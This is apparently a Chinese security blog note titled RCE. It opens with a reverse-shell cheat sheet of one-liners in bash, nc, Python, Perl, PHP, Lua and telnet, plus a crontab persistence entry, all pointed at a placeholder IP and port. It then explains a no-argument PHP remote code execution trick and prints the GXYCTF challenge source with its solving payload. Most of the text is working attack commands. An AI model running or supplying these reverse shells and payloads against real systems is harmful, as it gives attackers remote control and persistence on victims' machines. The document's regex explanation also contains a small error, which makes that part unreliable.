RCE

 · 2020-3-22 · 次阅读


⑧反弹shell

bash方式

$ bash -c "sh >& /dev/tcp/your ip/port 0>&1"

exec方式

$ exec 5<>/dev/tcp/ip/port

$ cat <&5 | while read line; do $line 2>&5 >&5; done

nc方式

本机运行:
nc -l -vv -p port
目标主机:
nc -e /bin/bash ip port

python方式

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

另一种:

python -c “exec("import socket, subprocess;s = socket.socket();s.connect((‘ip’,port))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")”

Perl方式

perl -e ‘use Socket;$i=”10.0.0.1”;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

1

php方式

php -r ‘$sock=fsockopen(“ip”,port);exec(“/bin/sh -i <&3 >&3 2>&3”);’

1

lua方式

lua -e “require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘ip’,’port’);os.execute(‘/bin/sh -i <&3 >&3 2>&3’);”

#需要lua socket支持,且lua5.2+不支持luasocket
crontab方式

crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是 /var/spool/cron/ 目录,ubuntu是
/var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。

SHELL=/bin/bash
/bin/bash -i >& /dev/tcp/ip/port 0>&1
telnet方式

mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe

无参数RCE:

<?php
print_r(scandir('.'));

所以要构造出scandir中的点,这里就有两个函数:
localeconv()函数返回一包含本地数字及货币格式信息的数组。而数字第一项就是.
current()返回数组中的当前单元,默认取第一个值。
pos()是current()的别名

print_r(localeconv());
输出为:
Array ( [decimal_point] => . [thousands_sep] => [int_curr_symbol] => [currency_symbol] => [mon_decimal_point] => [mon_thousands_sep] => [positive_sign] => [negative_sign] => [int_frac_digits] => 127 [frac_digits] => 127 [p_cs_precedes] => 127 [p_sep_by_space] => 127 [n_cs_precedes] => 127 [n_sep_by_space] => 127 [p_sign_posn] => 127 [n_sign_posn] => 127 [grouping] => Array ( ) [mon_grouping] => Array ( ) ) 
可以看到该数组的第一项的值就是.
而current会默认取第一个值,因而会得到.
print_r(current(localeconv()));
输出为.

GXYCTF禁止套娃

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}

说一下上面那个正则表达式
其中的(?R)代表引用当前表达式
而?是匹配前面的子表达式一次或多次
而整个preg_replace大致匹配的语句是a-z或者_()
举个例子,preg_replace()就可以,还可以,eval(preg_replace())
有点嵌套函数的意思,其实就是无参函数的匹配正则表达式

exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));